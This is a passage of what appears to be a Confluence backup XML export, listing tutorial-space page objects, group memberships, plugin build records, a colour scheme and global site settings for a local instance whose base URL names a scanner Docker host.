<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163848</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196628</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196633</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196634</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196635</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196636</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262153</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262156</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.083</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98340</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98348</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98353</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">5</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98320</id>
<property name="hibernateVersion">24</property>
<property name="title"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163843</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196621</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196625</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196630</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262155</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.086</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">0</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98319</id>
<property name="hibernateVersion">30</property>
<property name="title"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerTitle"><![CDATA[welcome to confluence]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163842</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196624</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196637</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196638</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196640</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196641</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196645</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196646</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196647</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196648</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196649</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.089</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98338</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">8</property>
<collection name="children" class="java.util.Collection"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98326</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262194</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.093</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98325</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262181</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.096</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98324</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262179</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.100</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98323</id>
<property name="hibernateVersion">7</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262157</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262158</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.104</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="SpaceDescription" package="com.atlassian.confluence.spaces">
<id name="id">98357</id>
<property name="hibernateVersion">17</property>
<property name="title"/><property name="lowerTitle"/><collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163851</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-04-14 11:55:11.912</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
<id name="id">589826</id>
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425985</id>
</property>
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
</object>
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
<id name="id">589825</id>
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425986</id>
</property>
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
</object>
<object class="GlobalDescription" package="com.atlassian.confluence.setup.settings">
<id name="id">98359</id>
<property name="hibernateVersion">1</property>
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
<property name="creationDate">2023-11-09 06:04:19.475</property>
<property name="lastModificationDate">2023-11-09 06:04:19.475</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
</object>
<object class="PersonalInformation" package="com.atlassian.confluence.user">
<id name="id">98358</id>
<property name="hibernateVersion">1</property>
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
<property name="creationDate">2023-11-09 06:04:18.930</property>
<property name="lastModificationDate">2023-11-09 06:04:18.930</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="user" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
<id name="id">425986</id>
<property name="name"><![CDATA[confluence-users]]></property>
<property name="lowerName"><![CDATA[confluence-users]]></property>
<property name="active">true</property>
<property name="local">false</property>
<property name="createdDate">2023-11-09 06:04:18.320</property>
<property name="updatedDate">2023-11-09 06:04:18.320</property>
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="externalId"/></object>
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
<id name="id">425985</id>
<property name="name"><![CDATA[confluence-administrators]]></property>
<property name="lowerName"><![CDATA[confluence-administrators]]></property>
<property name="active">true</property>
<property name="local">false</property>
<property name="createdDate">2023-11-09 06:04:18.284</property>
<property name="updatedDate">2023-11-09 06:04:18.284</property>
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="externalId"/></object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32802</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.extra.masterdetail:build]]></property>
<property name="value"><![CDATA[<string>2</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32803</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-comments:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32800</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-nav-links-plugin:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32801</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-tasks:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32798</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-whitelist-core-plugin:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32799</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.custom_apps.hasCustomOrder]]></property>
<property name="value"><![CDATA[<string>false</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32796</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-edge-index:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32797</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.crowd.embedded.admin:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32794</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.audit.plugin:audit-config:retention:period]]></property>
<property name="value"><![CDATA[<string>P3Y</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32795</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.extra.team-calendars:build]]></property>
<property name="value"><![CDATA[<string>1312121002</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32792</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.migration.agent:mp-status]]></property>
<property name="value"><![CDATA[<string>{&quot;pluginVersionLastChecked&quot;:&quot;3.4.6&quot;,&quot;outdated&quot;:true,&quot;upgradeBy&quot;:null,&quot;timestamp&quot;:1699509836998}</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32793</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.audit.atlassian-audit-plugin:build]]></property>
<property name="value"><![CDATA[<string>2</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32790</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.plugin.counter]]></property>
<property name="value"><![CDATA[<int>3</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32791</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[reindex.status]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.index.status.ReIndexJob>
<id>a051f6a2-cf76-4d3d-999d-ccfffe5e65d3</id>
<startTime>2023-11-09T06:03:55.369232Z</startTime>
<finishTime>2023-11-09T06:03:59.229997Z</finishTime>
<stage>COMPLETE</stage>
<acknowledged>false</acknowledged>
<rebuildingProgress>
<total>54</total>
<processed>54</processed>
</rebuildingProgress>
<lastRebuildingUpdate>2023-11-09T06:03:58.418741Z</lastRebuildingUpdate>
<nodeStatuses class="list"/>
</com.atlassian.confluence.index.status.ReIndexJob>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32788</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.colour.scheme]]></property>
<property name="value"><![CDATA[<colourScheme>
<colours>
<entry>
<string>property.style.topbarmenuselectedbgcolour</string>
<string>#336699</string>
</entry>
<entry>
<string>property.style.menuselectedbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.navtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.bordercolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.navselectedtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.breadcrumbstextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.topbarcolour</string>
<string>#003366</string>
</entry>
<entry>
<string>property.style.navselectedbgcolour</string>
<string>#003366</string>
</entry>
<entry>
<string>property.style.linkcolour</string>
<string>#326ca6</string>
</entry>
<entry>
<string>property.style.navbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.menuitemselectedtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.menuitemselectedbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.headingtextcolour</string>
<string>#000000</string>
</entry>
<entry>
<string>property.style.spacenamecolour</string>
<string>#999999</string>
</entry>
<entry>
<string>property.style.menuitemtextcolour</string>
<string>#535353</string>
</entry>
<entry>
<string>property.style.topbarmenuitemtextcolour</string>
<string>#326ca6</string>
</entry>
</colours>
</colourScheme>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32789</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[trash.date.migration.time]]></property>
<property name="value"><![CDATA[<instant>2023-11-09T06:03:52.619272Z</instant>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32818</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.troubleshooting.thready.configuration.enabled]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32819</id>
<property name="context"><![CDATA[_CALENDAR_ee65026d81383713d11480a2da8ced1608ea1448]]></property>
<property name="key"><![CDATA[legacySubCalendarsMigrationCutoffDate]]></property>
<property name="value"><![CDATA[<long>1699509861003</long>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32816</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..policy_acknowledged]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32817</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm.log.PluginSettingsAuditLogService:log:upm_audit_log_v3]]></property>
<property name="value"><![CDATA[<list>
<string>{&quot;userKey&quot;:&quot;Confluence&quot;,&quot;date&quot;:1699509860734,&quot;i18nKey&quot;:&quot;upm.auditLog.upm.startup&quot;,&quot;entryType&quot;:&quot;UPM_STARTUP&quot;,&quot;params&quot;:[]}</string>
</list>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32814</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.uuid]]></property>
<property name="value"><![CDATA[<string>102be6f5-2e40-4d37-bd5e-e52aef8f80fb</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32815</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.serverid]]></property>
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32812</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-create-content-plugin:build]]></property>
<property name="value"><![CDATA[<string>5</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32813</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[gadget.counter]]></property>
<property name="value"><![CDATA[<int>2</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32810</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.sso-type]]></property>
<property name="value"><![CDATA[<string>NONE</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32811</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.show-login-form]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32808</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm.atlassian-universal-plugin-manager-plugin:build]]></property>
<property name="value"><![CDATA[<string>5</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32809</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.atlassian-authentication-plugin:build]]></property>
<property name="value"><![CDATA[<string>6</string>]]></property>
</object>
<object class="DirectoryMapping" package="com.atlassian.crowd.model.application">
<id name="id">393217</id>
<property name="application" class="ApplicationImpl" package="com.atlassian.crowd.model.application"><id name="id">327681</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="allowAllToAuthenticate">true</property>
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
</collection>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32806</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32807</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-roadmap-plugin:build]]></property>
<property name="value"><![CDATA[<string>6</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32804</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-space-ia:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32805</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_registered]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32770</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.server.installation.date]]></property>
<property name="value"><![CDATA[<date>2023-11-09 06:02:30.133 UTC</date>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32771</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.settings]]></property>
<property name="value"><![CDATA[<settings>
<doNotSave>false</doNotSave>
<allowCamelCase>false</allowCamelCase>
<allowTrackbacks>false</allowTrackbacks>
<allowThreadedComments>true</allowThreadedComments>
<externalUserManagement>false</externalUserManagement>
<denyPublicSignup>true</denyPublicSignup>
<emailAdminMessageOff>false</emailAdminMessageOff>
<almostSupportPeriodEndMessageOff>false</almostSupportPeriodEndMessageOff>
<senMissingInLicenseMessageOff>true</senMissingInLicenseMessageOff>
<baseUrlAdminMessageOff>false</baseUrlAdminMessageOff>
<allowRemoteApi>false</allowRemoteApi>
<allowRemoteApiAnonymous>false</allowRemoteApiAnonymous>
<antiXssMode>true</antiXssMode>
<gzippingResponse>true</gzippingResponse>
<disableLogo>false</disableLogo>
<sharedMode>false</sharedMode>
<enableDidYouMean>false</enableDidYouMean>
<enableQuickNav>true</enableQuickNav>
<enableSpaceStyles>false</enableSpaceStyles>
<enableOpenSearch>true</enableOpenSearch>
<showSystemInfoIn500Page>false</showSystemInfoIn500Page>
<showApplicationTitle>false</showApplicationTitle>
<captchaSettings>
<enableCaptcha>false</enableCaptcha>
<enableDebug>false</enableDebug>
<captchaGroups class="list"/>
<exclude>registered</exclude>
</captchaSettings>
<customHtmlSettings>
<beforeHeadEnd></beforeHeadEnd>
<afterBodyStart></afterBodyStart>
<beforeBodyEnd></beforeBodyEnd>
</customHtmlSettings>
<colourSchemesSettings>
<colourSchemeType>custom</colourSchemeType>
</colourSchemesSettings>
<loginManagerSettings>
<enableElevatedSecurityCheck>true</enableElevatedSecurityCheck>
<loginAttemptsThreshold>3</loginAttemptsThreshold>
</loginManagerSettings>
<confluenceHttpParameters>
<connectionTimeout>10000</connectionTimeout>
<socketTimeout>10000</socketTimeout>
<enabled>true</enabled>
</confluenceHttpParameters>
<attachmentMaxSize>104857600</attachmentMaxSize>
<auditLogRetentionNumber>3</auditLogRetentionNumber>
<auditLogRetentionUnit>Years</auditLogRetentionUnit>
<draftSaveInterval>30000</draftSaveInterval>
<maxAttachmentsInUI>5</maxAttachmentsInUI>
<siteTitle>Confluence</siteTitle>
<documentationUrlPattern>http://docs.atlassian.com/confluence/docs-{0}/{1}</documentationUrlPattern>
<showContactAdministratorsForm>true</showContactAdministratorsForm>
<emailAddressVisibility>email.address.public</emailAddressVisibility>
<defaultEncoding>UTF-8</defaultEncoding>
<maxThumbHeight>300</maxThumbHeight>
<maxThumbWidth>300</maxThumbWidth>
<backupAttachmentsDaily>true</backupAttachmentsDaily>
<backupDaily>true</backupDaily>
<backupPath>/var/atlassian/application-data/confluence/backups</backupPath>
<nofollowExternalLinks>true</nofollowExternalLinks>
<indexingLanguage>english</indexingLanguage>
<globalDefaultLocale>en_GB</globalDefaultLocale>
<dailyBackupFilePrefix>backup-</dailyBackupFilePrefix>
<dailyBackupDateFormatPattern>yyyy_MM_dd</dailyBackupDateFormatPattern>
<supportRequestEmail>confluence-autosupportrequests@atlassian.com</supportRequestEmail>
<defaultSpaceHomepageTitle>Home</defaultSpaceHomepageTitle>
<baseUrl>http://nessus-docker.local:8090</baseUrl>
<attachmentDataStore>file.system.based.attachments.storage</attachmentDataStore>
<displayLinkIcons>false</displayLinkIcons>
<addWildcardsToUserAndGroupSearches>true</addWildcardsToUserAndGroupSearches>
<xsrfAddComments>true</xsrfAddComments>
<webSudoTimeout>10</webSudoTimeout>
<webSudoEnabled>true</webSudoEnabled>
<defaultUsersGroup>confluence-users</defaultUsersGroup>
<attachmentSecurityLevel>smart</attachmentSecurityLevel>
<enableJavascriptTop>true</enableJavascriptTop>
<supportPeriodEndMessageOff>false</supportPeriodEndMessageOff>
<enableWysiwyg>true</enableWysiwyg>
